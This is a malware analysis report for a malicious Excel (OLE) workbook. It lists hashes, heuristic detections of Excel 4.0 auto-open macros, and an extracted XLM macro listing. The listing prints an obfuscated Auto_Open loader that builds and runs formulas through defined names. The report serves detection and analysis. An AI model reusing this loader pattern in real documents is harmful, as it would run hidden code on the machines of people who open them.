Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e4508aa0352f1783…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:55 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: f96137d23a870eb1250f69598818e637 SHA-1: d9921e381ea5d227f41f121817b6fbb25065de79 SHA-256: e4508aa0352f17832b48b58d66072adfb58a71e8b3147862d485d530ef12c8f6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6654 bytes
SHA-256: 7d918361d85c63d1e025eae683633b94e681600648329d07d0b2d9188088f60a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wSPrZqOFeW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C191 
' 0018     23 LABEL : Cell Value, String Constant - bJsjzHcY len=0 
' 0018     27 LABEL : Cell Value, String Constant - bonLVAJnNWyU len=0 
' 0018     25 LABEL : Cell Value, String Constant - cGxgtvvuPg len=0 
' 0018     24 LABEL : Cell Value, String Constant - eYTFIpAWS len=0 
' 0018     26 LABEL : Cell Value, String Constant - kAqMXCYOpsL len=0 
' 0018     21 LABEL : Cell Value, String Constant - lBrHhe len=0 
' 0018     24 LABEL : Cell Value, String Constant - lqPJCGWgA len=0 
' 0018     23 LABEL : Cell Value, String Constant - mPEqRPaX len=0 
' 0018     27 LABEL : Cell Value, String Constant - oKnvotVDMRGW len=0 
' 0018     23 LABEL : Cell Value, String Constant - PkmYULAX len=0 
' 0018     22 LABEL : Cell Value, String Constant - QwkOkTC len=0 
' 0018     22 LABEL : Cell Value, String Constant - RiOYegH len=0 
' 0018     22 LABEL : Cell Value, String Constant - RpIVGGt len=0 
' 0018     26 LABEL : Cell Value, String Constant - RXnSDTwVbdX len=0 
' 0018     23 LABEL : Cell Value, String Constant - SELBZGwo len=0 
' 0018     25 LABEL : Cell Value, String Constant - SkrcJbkNni len=0 
' 0018     26 LABEL : Cell Value, String Constant - sqogTevzdiS len=0 
' 0018     26 LABEL : Cell Value, String Constant - UmhzgwMeDzX len=0 
' 0018     23 LABEL : Cell Value, String Constant - uZDkXBpT len=0 
' 0018     22 LABEL : Cell Value, String Constant - veLywba len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wSPrZqOFeW,C90,"SET.NAME("SkrcJbkNni",VALUE("0"))",""
'  wSPrZqOFeW,C94,"SET.NAME("sqogTevzdiS",SkrcJbkNni)",""
'  wSPrZqOFeW,C99,"SET.NAME("RiOYegH",SkrcJbkNni)",""
'  wSPrZqOFeW,C102,"SET.NAME("lqPJCGWgA",COUNTA(UmhzgwMeDzX))",""
'  wSPrZqOFeW,C106,"SET.NAME("QwkOkTC",COUNTA(RXnSDTwVbdX))",""
'  wSPrZqOFeW,C111,[],""
'  wSPrZqOFeW,C116,"SET.NAME("RpIVGGt","")",""
'  wSPrZqOFeW,C118,"sqogTevzdiS",""
'  wSPrZqOFeW,C120,"SET.NAME("eYTFIpAWS",HLOOKUP("*",UmhzgwMeDzX,sqogTevzdiS,FALSE))",""
'  wSPrZqOFeW,C124,"kAqMXCYOpsL",""
'  wSPrZqOFeW,C129,"SET.NAME("veLywba",SkrcJbkNni)",""
'  wSPrZqOFeW,C133,[],""
'  wSPrZqOFeW,C138,"veLywba",""
'  wSPrZqOFeW,C140,"bJsjzHcY",""
'  wSPrZqOFeW,C142,"uZDkXBpT",""
'  wSPrZqOFeW,C147,"mPEqRPaX",""
'  wSPrZqOFeW,C151,"SET.NAME("PkmYULAX",VALUE(HLOOKUP("*",RXnSDTwVbdX,mPEqRPaX,FALSE)))",""
'  wSPrZqOFeW,C154,"lBrHhe",""
'  wSPrZqOFeW,C158,"RpIVGGt",""
'  wSPrZqOFeW,C163,"RiOYegH",""
'  wSPrZqOFeW,C166,NEXT(),""
'  wSPrZqOFeW,C168,"cGxgtvvuPg",""
'  wSPrZqOFeW,C173,"SET.NAME("f",INT(T(FORMULA(T(RpIVGGt)&"",""&T(cGxgtvvuPg)))))",""
'  wSPrZqOFeW,C177,"SELBZGwo",""
'  wSPrZqOFeW,C182,NEXT(),""
'  wSPrZqOFeW,C187,RETURN(),""
'  wSPrZqOFeW,C219,"SET.NAME("oKnvotVDMRGW",C90)",""
'  wSPrZqOFeW,C222,"UmhzgwMeDzX",""
'  wSPrZqOFeW,C226,"SET.NAME("RXnSDTwVbdX",R94C15)",""
'  wSPrZqOFeW,C228,"SET.NAME("SELBZGwo",236)",""
'  wSPrZqOFeW,C231,"SET.NAME("bonLVAJnNWyU",3)",""
'  wSPrZqOFeW,C235,oKnvotVDMRGW(),""
'  wSPrZqOFeW,C236,HALT(),""

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